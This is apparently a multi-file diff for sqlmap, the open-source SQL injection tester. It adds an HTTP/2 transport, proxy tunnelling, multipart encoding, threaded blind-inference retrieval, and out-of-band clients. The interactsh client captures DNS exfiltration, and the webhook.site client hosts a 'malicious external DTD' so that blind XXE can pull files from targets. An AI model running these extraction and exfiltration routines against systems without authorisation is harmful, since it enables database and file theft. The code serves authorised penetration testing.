name, pos = decode_string(data, pos)
value, pos = decode_string(data, pos)
headers.append((name, value))
return headers
class Encoder(object):
# Minimal, always-valid: emit each header as a literal WITHOUT indexing + Huffman-coded strings.
# (Correctness-critical decoding is the hard part; a server accepts this trivially.)
def encode(self, headers):
out = bytearray()
for name, value in headers:
out += encode_integer(0, 4, 0x00) # 0000 0000 : literal w/o indexing, new name
out += encode_string(name)
out += encode_string(value)
return bytes(out)
SETTINGS_INITIAL_WINDOW_SIZE = 0x4
BIG_WINDOW = (1 << 31) - 1
def _recv_exact(sock, n):
buf = b""
while len(buf) < n:
chunk = sock.recv(n - len(buf))
if not chunk:
raise IOError("connection closed by peer")
buf += chunk
return buf
def _read_frame(sock):
length, ftype, flags, sid = decode_frame_header(_recv_exact(sock, 9))
return ftype, flags, sid, (_recv_exact(sock, length) if length else b"")
def _tob(x):
return x if isinstance(x, bytes) else x.encode("latin-1")
def _connect_socket(host, port, proxy, timeout):
# Direct TCP, or an HTTP CONNECT tunnel through an (optionally authenticated) proxy. SOCKS proxies
# are excluded for HTTP/2 upstream, so any proxy reaching here is a plain HTTP one. proxy is a
# (proxy_host, proxy_port, "user:pass"-or-None) tuple.
if not proxy:
return socket.create_connection((host, port), timeout=timeout)
proxy_host, proxy_port, proxy_cred = proxy
raw = socket.create_connection((proxy_host, proxy_port), timeout=timeout)
try:
request = "CONNECT %s:%d HTTP/1.1\r\nHost: %s:%d\r\n" % (host, port, host, port)
if proxy_cred:
token = base64.b64encode(proxy_cred.encode("latin-1")).decode("ascii")
request += "Proxy-Authorization: Basic %s\r\n" % token
request += "\r\n"
raw.sendall(request.encode("latin-1"))
response = b""
while b"\r\n\r\n" not in response:
chunk = raw.recv(4096)
if not chunk:
raise IOError("proxy closed the connection during CONNECT")
response += chunk
if len(response) > 65536:
raise IOError("oversized proxy CONNECT response")
status_line = response.split(b"\r\n", 1)[0].decode("latin-1", "replace")
fields = status_line.split(None, 2)
code = int(fields[1]) if len(fields) >= 2 and fields[1].isdigit() else 0
if not (200 <= code < 300):
raise IOError("proxy CONNECT failed: %s" % status_line)
return raw
except Exception:
try:
raw.close()
except Exception:
pass
raise
class _UnprocessedStream(IOError):
"""Raised when the server made it clear our stream was NOT processed (GOAWAY with last-stream-id below
ours), so the request is always safe to retry on a fresh connection."""
class _H2Connection(object):
"""A single HTTP/2 connection reused for sequential (one-stream-at-a-time) requests within a thread.
Multiplexing is intentionally NOT used - one stream is fully consumed before the next is opened - which
preserves request<->response isolation (clean time-based latency, no desync), exactly like the
thread-local HTTP/1.1 keep-alive pool. Reuse amortizes the TCP+TLS+preface cost across all of a thread's
requests to a host. Correctness note: only the HPACK Decoder (server->client dynamic table) is stateful,
so it is kept per-connection and fed responses in order; the Encoder is literal-without-indexing
(stateless), hence a fresh one per request is safe on a reused socket."""
def __init__(self, host, port, proxy, timeout):
self.host, self.port, self.proxy = host, port, proxy
self.dec = Decoder() # persistent server->client HPACK table
self.next_sid = 1 # odd, strictly increasing per RFC 7540
self.usable = True
ctx = ssl._create_unverified_context()
ctx.set_alpn_protocols(["h2"])
self.sock = ctx.wrap_socket(_connect_socket(host, port, proxy, timeout), server_hostname=host)
try:
if self.sock.selected_alpn_protocol() != "h2":
raise IOError("server did not negotiate h2 (ALPN=%r)" % self.sock.selected_alpn_protocol())
self.sock.settimeout(timeout)
# connection preface + client SETTINGS (advertise a large per-stream window) + bump conn window
self.sock.sendall(CONNECTION_PREFACE)
self.sock.sendall(encode_frame(SETTINGS, 0, 0, struct.pack("!HI", SETTINGS_INITIAL_WINDOW_SIZE, BIG_WINDOW)))
self.sock.sendall(encode_frame(WINDOW_UPDATE, 0, 0, struct.pack("!I", BIG_WINDOW - 65535)))
except Exception:
self.close()
raise
def close(self):
self.usable = False
try:
self.sock.close()
except Exception:
pass
def __del__(self):
self.close()
def exchange(self, method, path, authority, headers, body, timeout):
if not self.usable:
raise IOError("HTTP/2 connection no longer usable")
sid = self.next_sid
self.next_sid += 2
if self.next_sid >= BIG_WINDOW: # stream-id space nearly exhausted -> retire after this
self.usable = False
self.sock.settimeout(timeout)
req = [(b":method", _tob(method)), (b":scheme", b"https"), (b":path", _tob(path)), (b":authority", _tob(authority))]
for k, v in (headers or {}).items():
req.append((_tob(k).lower(), _tob(v)))
hblock = Encoder().encode(req)
self.sock.sendall(encode_frame(HEADERS, FLAG_END_HEADERS | (0 if body else FLAG_END_STREAM), sid, hblock))
if body:
self.sock.sendall(encode_frame(DATA, FLAG_END_STREAM, sid, _tob(body)))
header_block, resp_headers, resp_body, done = b"", None, bytearray(), False
while not done:
ftype, flags, fsid, payload = _read_frame(self.sock)
if ftype == SETTINGS:
if not (flags & FLAG_ACK):
self.sock.sendall(encode_frame(SETTINGS, FLAG_ACK, 0, b""))
elif ftype == PING:
if not (flags & FLAG_ACK):
self.sock.sendall(encode_frame(PING, FLAG_ACK, 0, payload))
elif ftype == GOAWAY:
self.usable = False # server won't accept new streams -> retire connection
last_sid = (struct.unpack("!I", payload[4:8])[0] & 0x7fffffff) if len(payload) >= 8 else 0
if sid > last_sid: # our stream was not processed -> safe to retry fresh
raise _UnprocessedStream("GOAWAY (last stream %d) before stream %d was processed" % (last_sid, sid))
elif ftype == RST_STREAM and fsid == sid:
self.usable = False
raise IOError("stream reset by server (error %d)" % struct.unpack("!I", payload[:4])[0])
elif ftype in (HEADERS, CONTINUATION) and fsid == sid:
p = payload
if ftype == HEADERS:
if flags & FLAG_PADDED:
p = p[1:len(p) - bytearray(payload)[0]]
if flags & FLAG_PRIORITY:
p = p[5:]
header_block += p
if flags & FLAG_END_HEADERS:
resp_headers = self.dec.decode(header_block)
if flags & FLAG_END_STREAM:
done = True
elif ftype == DATA and fsid == sid:
p = payload
if flags & FLAG_PADDED:
p = p[1:len(p) - bytearray(payload)[0]]
resp_body += p
if payload: # replenish stream + connection windows
self.sock.sendall(encode_frame(WINDOW_UPDATE, 0, sid, struct.pack("!I", len(payload))))
self.sock.sendall(encode_frame(WINDOW_UPDATE, 0, 0, struct.pack("!I", len(payload))))
if flags & FLAG_END_STREAM:
done = True
status = None
for n, v in (resp_headers or []):
if _tob(n) == b":status":
status = int(v)
break
return status, resp_headers, bytes(resp_body)
# Thread-local pool: one live connection per (host, port, proxy) per thread. Mirrors keepalive.py's model
# (one connection per host per thread) so streams never interleave across threads and time-based
# measurements stay clean.
_h2_pool = threading.local()
def _pooledExchange(host, port, proxy, method, path, authority, headers, body, timeout):
pool = getattr(_h2_pool, "connections", None)
if pool is None:
pool = _h2_pool.connections = {}
key = (host, port, proxy)
conn = pool.get(key)
reused = conn is not None and conn.usable
if not reused:
if conn is not None:
conn.close()
conn = pool[key] = _H2Connection(host, port, proxy, timeout)
try:
result = conn.exchange(method, path, authority, headers, body, timeout)
except _UnprocessedStream: # explicitly not processed -> always safe to retry fresh
conn.close(); pool.pop(key, None)
conn = pool[key] = _H2Connection(host, port, proxy, timeout)
result = conn.exchange(method, path, authority, headers, body, timeout)
except (socket.error, ssl.SSLError, IOError):
conn.close(); pool.pop(key, None)
if reused: # stale keep-alive socket (server closed idle conn) -> reopen once
conn = pool[key] = _H2Connection(host, port, proxy, timeout)
result = conn.exchange(method, path, authority, headers, body, timeout)
else:
raise
if not conn.usable: # GOAWAY / id-exhaustion mid-exchange -> don't keep it pooled
conn.close(); pool.pop(key, None)
return result
def h2_request(host, port=443, method="GET", path="/", authority=None, headers=None, body=None, timeout=30, proxy=None):
"""One-shot request on a throwaway connection (kept for direct/back-compat callers; the engine path
goes through open_url -> the reusing pool)."""
conn = _H2Connection(host, port, proxy, timeout)
try:
return conn.exchange(method, path, authority or host, headers, body, timeout)
finally:
conn.close()
class H2Response(object):
"""A urllib-response-compatible wrapper around a native HTTP/2 response, so the rest of sqlmap's
request pipeline can consume it exactly like a urllib response (code/msg/info()/read()/geturl()).
>>> r = H2Response('https://x/', 200, [(b':status', b'200'), (b'content-type', b'text/html')], b'body')
>>> (r.code, r.msg, r.read() == b'body', r.geturl())
(200, 'OK', True, 'https://x/')
>>> ':status' in r.info()
False
"""
def __init__(self, url, status, headers, body):
self.url = url
self.code = self.status = status
self.msg = _HTTP_RESPONSES.get(status, "")
self.http_version = "HTTP/2.0"
self._body = body
self._offset = 0
self._info = _Message()
for name, value in (headers or []):
name = name.decode("latin-1") if isinstance(name, bytes) else name
value = value.decode("latin-1") if isinstance(value, bytes) else value
if not name.startswith(":"): # drop HTTP/2 pseudo-headers (:status etc.)
self._info[name] = value
# expose a mimetools.Message-style '.headers' list so patchHeaders() treats this object
# uniformly across Python 2/3 (email.message.Message lacks it, and Python 2 iteration over a
# bare Message falls back to integer indexing)
self._info.headers = ["%s: %s\r\n" % (name, value) for (name, value) in self._info.items()]
def info(self):
return self._info
def geturl(self):
return self.url
def read(self, amt=None):
if amt is None:
data = self._body[self._offset:]
self._offset = len(self._body)
else:
data = self._body[self._offset:self._offset + amt]
self._offset += len(data)
return data
def close(self):
pass
def open_url(url, method="GET", headers=None, body=None, timeout=30, follow_redirects=True, max_redirects=10, proxy=None):
"""Fetch url over native HTTP/2 (https only), following redirects like a browser (mirroring the
previous httpx follow_redirects=True), and return an H2Response. Raises IOError on a transport or
ALPN-negotiation failure. Connection-level and h2-forbidden request headers are stripped."""
forbidden = ("host", "connection", "keep-alive", "proxy-connection", "transfer-encoding", "upgrade", "content-length")
req_headers = {}
for key in (headers or {}):
name = key.decode("latin-1") if isinstance(key, bytes) else key
if name.lower() not in forbidden:
req_headers[key] = headers[key]
for _ in range(max_redirects + 1):
parts = urlsplit(url)
if parts.scheme != "https":
raise IOError("native HTTP/2 client supports 'https://' targets only (got %r)" % parts.scheme)
path = parts.path or "/"
if parts.query:
path += "?" + parts.query
status, resp_headers, resp_body = _pooledExchange(parts.hostname, parts.port or 443, proxy, method, path,
parts.netloc.split("@")[-1], req_headers, body, timeout)
if follow_redirects and status in REDIRECT_CODES:
location = None
for name, value in (resp_headers or []):
if (name.decode("latin-1") if isinstance(name, bytes) else name).lower() == "location":
location = value.decode("latin-1") if isinstance(value, bytes) else value
break
if location:
url = urljoin(url, location)
if status in (301, 302, 303): # per RFC 7231, these degrade to GET
method, body = "GET", None
continue
return H2Response(url, status, resp_headers, resp_body)
raise IOError("too many HTTP/2 redirects")

View file

@ -13,6 +13,10 @@ import time
from lib.core.agent import agent
from lib.core.bigarray import BigArray
from lib.core.common import applyFunctionRecursively
from lib.core.common import dataToStdout
from lib.core.common import unArrayizeValue
from lib.core.datatype import AttribDict
from lib.utils.safe2bin import safecharencode
from lib.core.common import Backend
from lib.core.common import calculateDeltaSeconds
from lib.core.common import cleanQuery
@ -22,6 +26,7 @@ from lib.core.common import filterNone
from lib.core.common import getPublicTypeMembers
from lib.core.common import getTechnique
from lib.core.common import getTechniqueData
from lib.core.common import incrementCounter
from lib.core.common import hashDBRetrieve
from lib.core.common import hashDBWrite
from lib.core.common import initTechnique
@ -58,10 +63,13 @@ from lib.core.settings import MAX_TECHNIQUES_PER_VALUE
from lib.core.settings import SQL_SCALAR_REGEX
from lib.core.settings import UNICODE_ENCODING
from lib.core.threads import getCurrentThreadData
from lib.core.threads import runThreads
from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request
from lib.request.direct import direct
from lib.techniques.blind.inference import bisection
from lib.techniques.blind.inference import queryOutputLength
from lib.techniques.blind.inference import valueMatchCondition
from lib.techniques.dns.test import dnsTest
from lib.techniques.dns.use import dnsUse
from lib.techniques.error.use import errorUse
@ -358,6 +366,159 @@ def _goUnion(expression, unpack=True, dump=False):
return output
def _verifyInferredValue(expression, value):
"""
Confirm a value-parallel-inferred name with ONE equality boolean (lock-free forged
query, mirroring the predictive commonValue check). A wrong bisection bit under heavy
concurrent load on a flaky/WAF'd target flips a character; a full-value equality catches
it sharply (a corrupted name != the real one). Returns True when (expression) == value
holds, or on a transient verify error (never discard a value on a hiccup).
"""
if value is None or isNoneValue(value):
return True
value = unArrayizeValue(value)
if not isinstance(value, six.string_types):
return True
if Backend.getDbms():
_, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
expressionUnescaped = unescaper.escape(expression.replace(fieldToCastStr, nulledCastedField, 1))
else:
expressionUnescaped = unescaper.escape(expression)
matchCondition = valueMatchCondition(expressionUnescaped, value)
if matchCondition is None: # non-ASCII value: no reliable whole-value equality (see valueMatchCondition)
return None # caller confirms these by an independent re-extraction instead
query = getTechniqueData().vector.replace(INFERENCE_MARKER, matchCondition)
query = agent.suffixQuery(agent.prefixQuery(query))
timeBasedCompare = getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)
try:
result = bool(Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False))
incrementCounter(getTechnique())
return result
except Exception:
return True
def _threadedInferenceValues(exprBuilder, indices, context=None, charsetType=None, dump=False):
"""
Value-parallel blind retrieval.
Retrieve many independent values concurrently, ONE whole value per worker thread, each decoded
sequentially via bisection with length=None - so there is NO per-value length probe (unlike the
position-parallel path, which must probe LENGTH() to split a value's characters across threads) and
the sequential prefix lets predictive inference / low-cardinality guessing / the per-column Huffman
model work. This parallelizes across VALUES instead of character positions - the right axis for the
MANY short values of table/column NAME enumeration (context="Tables"/"Columns" tags kb.partRun so
predictValue() consults the wordlist) and, with dump=True, of per-column data dumping (Huffman and
low-cardinality guessing engage). It bypasses getValue()'s @lockedmethod the same way union/error
row-threading calls _oneShotUnionUse directly. `exprBuilder(index)` yields the per-value expression.
Returns a list aligned with `indices` (None where a value could not be retrieved); single-thread is
just sequential retrieval (no worse than the classic loop, and still without the length probe).
"""
indices = list(indices)
# Snapshot the raw per-thread technique (may be None) so the finally can restore it verbatim -
# getTechnique() would fall back to kb.technique, and a None result there used to skip the restore
# entirely, leaking the BOOLEAN/TIME we set below onto the calling thread for every later caller.
savedTechnique = getCurrentThreadData().technique
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN):
setTechnique(PAYLOAD.TECHNIQUE.BOOLEAN)
elif isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME):
setTechnique(PAYLOAD.TECHNIQUE.TIME)
else:
return None
try:
initTechnique(getTechnique())
payload = agent.payload(newValue=agent.suffixQuery(agent.prefixQuery(getTechniqueData().vector)))
except:
setTechnique(savedTechnique) # these run before the runThreads try/finally below, so restore here too
raise
results = [None] * len(indices)
cursor = iter(xrange(len(indices)))
def inferenceThread():
threadData = getCurrentThreadData()
# Each per-value bisection streams its characters to stdout and mirrors them into
# threadData.shared.value - which is a PROCESS-GLOBAL object. Left as-is, concurrent
# workers interleave their character output (garbled console) and stomp each other's
# partial value. So suppress the per-char streaming here and give each worker a private
# shared-state object; a single clean line/counter is printed per completed value below.
threadData.disableStdOut = True
threadData.shared = AttribDict()
while kb.threadContinue:
with kb.locks.limit:
try:
slot = next(cursor)
except StopIteration:
break
expression = exprBuilder(indices[slot])
try:
_, value = bisection(payload, expression, length=None, charsetType=charsetType, dump=dump)
# Self-verify each value: sustained concurrent boolean load on a flaky/WAF'd target can flip
# a bisection bit (raw retrieval has no per-char validation), so confirm the whole value and
# re-extract on mismatch. ASCII values use ONE fast equality probe; a value carrying non-ASCII
# (which a quoted literal may not round-trip, AND which is itself a common corruption symptom)
# is instead confirmed by an INDEPENDENT re-extraction having to agree - a random flip will not
# reproduce the same bytes twice. Bounded to a few tries; correctness over a marginal request.
tries = 0
while not isNoneValue(value) and not threadData.lowCardHit and tries < 3:
verdict = _verifyInferredValue(expression, value)
if verdict is True:
break
tries += 1
_, other = bisection(payload, expression, length=None, charsetType=charsetType, dump=dump)
if verdict is None and other == value: # two independent extractions agree -> trust it
break
value = other # equality said wrong, or the two disagree -> adopt fresh, recheck
except Exception as ex:
logger.debug("parallel retrieval worker failed at slot %d ('%s')" % (slot, ex))
value = None
with kb.locks.value:
results[slot] = value
# Stream each retrieved value as it completes (they arrive out of order under threads, exactly
# like the error/union dumps), so a dump shows its data live rather than a silent counter.
if conf.verbose >= 1 and not kb.bruteMode and not isNoneValue(value):
with kb.locks.io:
rendered = safecharencode(unArrayizeValue(value))
dataToStdout("[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), "'%s'" % rendered if dump else rendered), forceOutput=True)
# Save/restore the calling thread's state: with a single thread runThreads runs the worker
# INLINE on this thread, so the worker's disableStdOut/shared mutations must not leak out.
savedPartRun = kb.partRun
mainThreadData = getCurrentThreadData()
savedStdOut, savedShared = mainThreadData.disableStdOut, mainThreadData.shared
kb.partRun = context
try:
runThreads(min(conf.threads or 1, len(indices)) or 1, inferenceThread)
finally:
kb.partRun = savedPartRun
mainThreadData.disableStdOut = savedStdOut
mainThreadData.shared = savedShared
setTechnique(savedTechnique)
# Robustness: any slot a worker could not retrieve (None, i.e. a transient per-cell failure) is
# re-extracted serially via the classic getValue() path - full error handling, and a persistent error
# surfaces there - rather than being silently returned as an empty value.
for slot in xrange(len(results)):
if results[slot] is None and kb.threadContinue:
results[slot] = getValue(exprBuilder(indices[slot]), union=False, error=False, dump=dump, charsetType=charsetType)
return results
@lockedmethod
@stackedmethod
def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True):

175
lib/request/interactsh.py Normal file
View file

@ -0,0 +1,175 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
import base64
import json
import time
from lib.core.common import randomStr
from lib.core.convert import getBytes
from lib.core.convert import getText
from lib.core.data import conf
from lib.core.data import logger
from lib.core.enums import HTTP_HEADER
from lib.core.settings import OOB_CORRELATION_ID_LENGTH
from lib.core.settings import OOB_INTERACTSH_SERVERS
from lib.core.settings import OOB_NONCE_LENGTH
# The interactsh client needs RSA-OAEP(SHA-256) + AES-256-CTR. pycryptodome is an
# optional dependency (sqlmap already uses it opportunistically in lib/utils/hash.py);
# without it the OOB tier is simply skipped rather than erroring.
try:
from Crypto.Cipher import AES
from Crypto.Cipher import PKCS1_OAEP
from Crypto.Hash import SHA256
from Crypto.PublicKey import RSA
_HAS_CRYPTO = True
except ImportError:
_HAS_CRYPTO = False
def hasCrypto():
return _HAS_CRYPTO
class Interactsh(object):
"""Minimal interactsh client: registers a per-scan RSA key with a public (or
self-hosted) interactsh server, hands out unique callback URLs, and polls for
the DNS/HTTP interactions they trigger. Interactions are RSA/AES encrypted on
the wire and decrypted locally, so the server operator never sees their content.
All HTTP goes through sqlmap's own request stack (proxy/timeout honoured)."""
def __init__(self, server=None, token=None):
self.server = None
self.token = token or conf.get("oobToken")
self.correlationId = randomStr(OOB_CORRELATION_ID_LENGTH, lowercase=True)
self.secret = randomStr(32, lowercase=True)
self.registered = False
self._key = None
self._dnsNonce = None
if not _HAS_CRYPTO:
return
self._key = RSA.generate(2048)
pubKey = getText(base64.b64encode(getBytes(self._key.publickey().export_key(format="PEM"))))
candidates = [server] if server else list(OOB_INTERACTSH_SERVERS)
for candidate in candidates:
if not candidate:
continue
body = json.dumps({"public-key": pubKey, "secret-key": self.secret, "correlation-id": self.correlationId})
if self._request("https://%s/register" % candidate, post=body):
self.server = candidate
self.registered = True
logger.debug("registered with OOB interaction server '%s'" % candidate)
break
def _request(self, url, post=None):
"""Direct request to the interactsh server (a fixed service, never the target).
Self-contained on urllib so it works regardless of sqlmap's request-stack init
order (it is also called during option setup, before getPage is usable); honours
--proxy and tolerates self-signed certs like the rest of sqlmap. Returns the
response body text on success, otherwise None."""
try:
import ssl
try:
from urllib.request import Request as _Request, build_opener, ProxyHandler, HTTPSHandler
except ImportError:
from urllib2 import Request as _Request, build_opener, ProxyHandler, HTTPSHandler
headers = {HTTP_HEADER.CONTENT_TYPE: "application/json"} if post is not None else {HTTP_HEADER.ACCEPT: "application/json"}
if self.token:
headers[HTTP_HEADER.AUTHORIZATION] = self.token
handlers = []
try:
# Verify TLS for the (public, valid-cert) interaction server by default;
# only skip verification when the user has globally opted out (--force-ssl-verify
# off / verifyCert False), matching sqlmap's own TLS posture.
context = ssl.create_default_context()
if conf.get("verifyCert") is False:
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
handlers.append(HTTPSHandler(context=context))
except Exception:
pass
if conf.get("proxy"):
handlers.append(ProxyHandler({"http": conf.proxy, "https": conf.proxy}))
request = _Request(url, data=getBytes(post) if post is not None else None, headers=headers)
response = build_opener(*handlers).open(request, timeout=conf.get("timeout") or 30)
return getText(response.read())
except Exception as ex:
logger.debug("OOB request to '%s' failed: %s" % (url, getText(ex)))
return None
def url(self):
"""Return a fresh unique callback URL (host = correlationId + nonce)."""
nonce = randomStr(OOB_NONCE_LENGTH, lowercase=True)
return "http://%s%s.%s" % (self.correlationId, nonce, self.server)
def dnsDomain(self):
"""Stable domain suffix (host = correlationId + a fixed nonce) usable as an
exfiltration suffix - additional labels prepended by a payload still resolve
to this correlation id, so every DNS lookup under it is captured."""
if not self._dnsNonce:
self._dnsNonce = randomStr(OOB_NONCE_LENGTH, lowercase=True)
return "%s%s.%s" % (self.correlationId, self._dnsNonce, self.server)
def dnsNames(self):
"""Poll and return the fully-qualified names (minus the server suffix) of the
DNS lookups captured so far, e.g. 'prefix.<hex>.suffix.<correlationId><nonce>'."""
return [_.get("full-id") for _ in self.poll() if _.get("protocol") == "dns" and _.get("full-id")]
def poll(self):
"""Return the list of decrypted interaction records captured so far."""
if not self.registered:
return []
page = self._request("https://%s/poll?id=%s&secret=%s" % (self.server, self.correlationId, self.secret))
if not page:
return []
try:
response = json.loads(page)
except ValueError:
return []
retVal = []
data = response.get("data") or []
if data:
try:
aesKey = PKCS1_OAEP.new(self._key, hashAlgo=SHA256).decrypt(base64.b64decode(response["aes_key"]))
except Exception as ex:
logger.debug("OOB AES key decryption failed: %s" % getText(ex))
return []
for item in data:
try:
raw = base64.b64decode(item)
plain = AES.new(aesKey, AES.MODE_CTR, nonce=b"", initial_value=raw[:AES.block_size]).decrypt(raw[AES.block_size:])
retVal.append(json.loads(getText(plain)))
except Exception as ex:
logger.debug("OOB interaction decryption failed: %s" % getText(ex))
return retVal
def pollUntil(self, attempts, delay):
"""Poll repeatedly, returning as soon as any interaction is captured."""
for _ in range(attempts):
time.sleep(delay)
interactions = self.poll()
if interactions:
return interactions
return []
def close(self):
if self.registered:
body = json.dumps({"correlation-id": self.correlationId, "secret-key": self.secret})
self._request("https://%s/deregister" % self.server, post=body)
self.registered = False

View file

@ -60,6 +60,22 @@ class _KeepAliveHandler(object):
def _give_back(self, key, conn, count):
self._pool.conns[key] = [conn, count, time.time()]
@staticmethod
def _takeTunnelHeaders(req):
"""
Pops the Proxy-Authorization header off L{req} (returning it as a dict) so it rides on the
CONNECT request only and is never forwarded through the tunnel to the origin server, mirroring
the stock C{urllib.request.AbstractHTTPHandler.do_open} tunnel setup
"""
result = {}
for store in (getattr(req, "unredirected_hdrs", None), getattr(req, "headers", None)):
if store:
for name in list(store):
if name.lower() == "proxy-authorization":
result[name] = store.pop(name)
return result
def do_open(self, req):
# Note: 'selector'/'host' attributes on Python 3 (Request.get_host() was deprecated since
# 3.3 and removed in 3.12); the get_*() fallbacks are only reachable under Python 2
@ -68,7 +84,14 @@ class _KeepAliveHandler(object):
if not host:
raise _urllib.error.URLError("no host given")
key = "%s://%s" % (self._scheme, host)
# When routed through an HTTP(s) proxy, ProxyHandler has already rewritten the request: for a
# plain-HTTP target 'host' is the proxy and the selector is absolute; for an HTTPS target
# '_tunnel_host' holds the origin reached via a CONNECT tunnel. Pool by the tunnel origin when
# tunneling (each origin needs its own tunnelled socket) and by 'host' otherwise (one HTTP-proxy
# socket serves many origins, and a direct connection is keyed by its own host exactly as before).
tunnelHost = getattr(req, "_tunnel_host", None)
tunnelHeaders = self._takeTunnelHeaders(req) if tunnelHost else None
key = "%s://%s" % (self._scheme, tunnelHost or host)
conn, count = self._take(key)
reused = conn is not None
@ -93,6 +116,8 @@ class _KeepAliveHandler(object):
if conn is None:
conn = self._get_connection(host)
if tunnelHost:
conn.set_tunnel(tunnelHost, headers=tunnelHeaders or {})
count = 0
self._send_request(conn, req)
response = conn.getresponse()

View file

@ -0,0 +1,89 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
import io
import mimetypes
import re
from lib.core.compat import choose_boundary
from lib.core.convert import getBytes
from lib.core.exception import SqlmapDataException
from thirdparty.six.moves import urllib as _urllib
# Controls how sequences are encoded: if True, an element may be given multiple values by assigning a sequence
DOSEQ = True
class MultipartPostHandler(_urllib.request.BaseHandler):
"""
urllib handler that transparently encodes a dict request body as multipart/form-data when it carries
file-like values (and as a plain urlencoded body otherwise). Native replacement for the historically
vendored 'thirdparty/multipart/multipartpost.py' (Will Holcomb, 2006); the logic already relied on
sqlmap's own helpers, so it now lives here as a first-class request handler.
"""
handler_order = _urllib.request.HTTPHandler.handler_order - 10 # must run before the HTTP handler
def http_request(self, request):
data = request.data
if isinstance(data, dict):
files, variables = [], []
try:
for key, value in data.items():
if hasattr(value, "fileno") or hasattr(value, "file") or isinstance(value, io.IOBase):
files.append((key, value))
else:
variables.append((key, value))
except TypeError:
raise SqlmapDataException("not a valid non-string sequence or mapping object")
if not files:
data = _urllib.parse.urlencode(variables, DOSEQ)
else:
boundary, data = self.multipartEncode(variables, files)
request.add_unredirected_header("Content-Type", "multipart/form-data; boundary=%s" % boundary)
request.data = data
# normalize bare LF to CRLF inside a multipart body (Reference: https://github.com/sqlmapproject/sqlmap/issues/4235)
if request.data:
for match in re.finditer(b"(?i)\\s*-{20,}\\w+(\\s+Content-Disposition[^\\n]+\\s+|\\-\\-\\s*)", request.data):
part = match.group(0)
if b'\r' not in part:
request.data = request.data.replace(part, part.replace(b'\n', b"\r\n"))
return request
def multipartEncode(self, variables, files, boundary=None):
boundary = boundary or choose_boundary()
buffer_ = b""
for key, value in variables:
if key is not None and value is not None:
buffer_ += b"--%s\r\n" % getBytes(boundary)
buffer_ += b"Content-Disposition: form-data; name=\"%s\"" % getBytes(key)
buffer_ += b"\r\n\r\n" + getBytes(value) + b"\r\n"
for key, fd in files:
filename = fd.name.split('/')[-1] if '/' in fd.name else fd.name.split('\\')[-1]
try:
contentType = mimetypes.guess_type(filename)[0] or b"application/octet-stream"
except Exception:
# Reference: http://bugs.python.org/issue9291
contentType = b"application/octet-stream"
buffer_ += b"--%s\r\n" % getBytes(boundary)
buffer_ += b"Content-Disposition: form-data; name=\"%s\"; filename=\"%s\"\r\n" % (getBytes(key), getBytes(filename))
buffer_ += b"Content-Type: %s\r\n" % getBytes(contentType)
fd.seek(0)
buffer_ += b"\r\n%s\r\n" % fd.read()
buffer_ += b"--%s--\r\n\r\n" % getBytes(boundary)
return boundary, getBytes(buffer_)
https_request = http_request

View file

@ -0,0 +1,92 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
import json
from lib.core.data import conf
from lib.core.data import logger
from lib.core.convert import getBytes
from lib.core.convert import getText
from lib.core.enums import HTTP_HEADER
from lib.core.settings import OOB_EXFIL_ENDPOINT
# webhook.site is used for blind-XXE OOB *exfiltration*: it can both serve a custom
# response (our malicious external DTD) AND log the request the target then makes
# (carrying the file content). interactsh cannot host arbitrary content, hence the
# separate backend. HTTP-only, free tier, no account required for basic tokens.
class WebhookSite(object):
"""Thin webhook.site client: mints tokens (optionally serving fixed content)
and reads back the requests captured on them. Self-contained on urllib (like the
interactsh client): sqlmap's getPage caches by URL, which would make repeated
polls of the same /requests URL return a stale snapshot and miss the callback."""
def __init__(self):
# Exfil host is the public content-serving endpoint (its token API is
# service-specific, so --oob-server, which selects the interactsh *detection*
# server, deliberately does not repoint it).
self.endpoint = OOB_EXFIL_ENDPOINT.rstrip('/')
def _api(self, path, post=None):
try:
import ssl
try:
from urllib.request import Request as _Request, build_opener, ProxyHandler, HTTPSHandler
except ImportError:
from urllib2 import Request as _Request, build_opener, ProxyHandler, HTTPSHandler
headers = {HTTP_HEADER.CONTENT_TYPE: "application/json"} if post is not None else {HTTP_HEADER.ACCEPT: "application/json"}
handlers = []
try:
context = ssl.create_default_context()
if conf.get("verifyCert") is False:
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
handlers.append(HTTPSHandler(context=context))
except Exception:
pass
if conf.get("proxy"):
handlers.append(ProxyHandler({"http": conf.proxy, "https": conf.proxy}))
request = _Request("%s%s" % (self.endpoint, path), data=getBytes(post) if post is not None else None, headers=headers)
response = build_opener(*handlers).open(request, timeout=conf.get("timeout") or 30)
return getText(response.read())
except Exception as ex:
logger.debug("webhook.site request to '%s' failed: %s" % (path, getText(ex)))
return None
def newToken(self, content=None):
"""Create a token. When `content` is given the token serves it verbatim
(used to host the external DTD). Returns the token UUID or None."""
body = {"default_status": 200}
if content is not None:
body["default_content"] = content
body["default_content_type"] = "application/xml"
page = self._api("/token", post=json.dumps(body))
if page:
try:
return json.loads(page).get("uuid")
except ValueError:
pass
return None
def hostUrl(self, token):
"""Target-facing URL for a token. Plain HTTP - XML parsers (libxml) commonly
cannot fetch https external entities."""
host = self.endpoint.split("://", 1)[-1]
return "http://%s/%s" % (host, token)
def captured(self, token):
"""Return the list of request records captured on `token` (newest first)."""
page = self._api("/token/%s/requests?sorting=newest&per_page=50" % token)
if page:
try:
return json.loads(page).get("data") or []
except ValueError:
pass
return []

View file

@ -20,10 +20,12 @@ from lib.core.common import decodeIntToUnicode
from lib.core.common import filterControlChars
from lib.core.common import getCharset
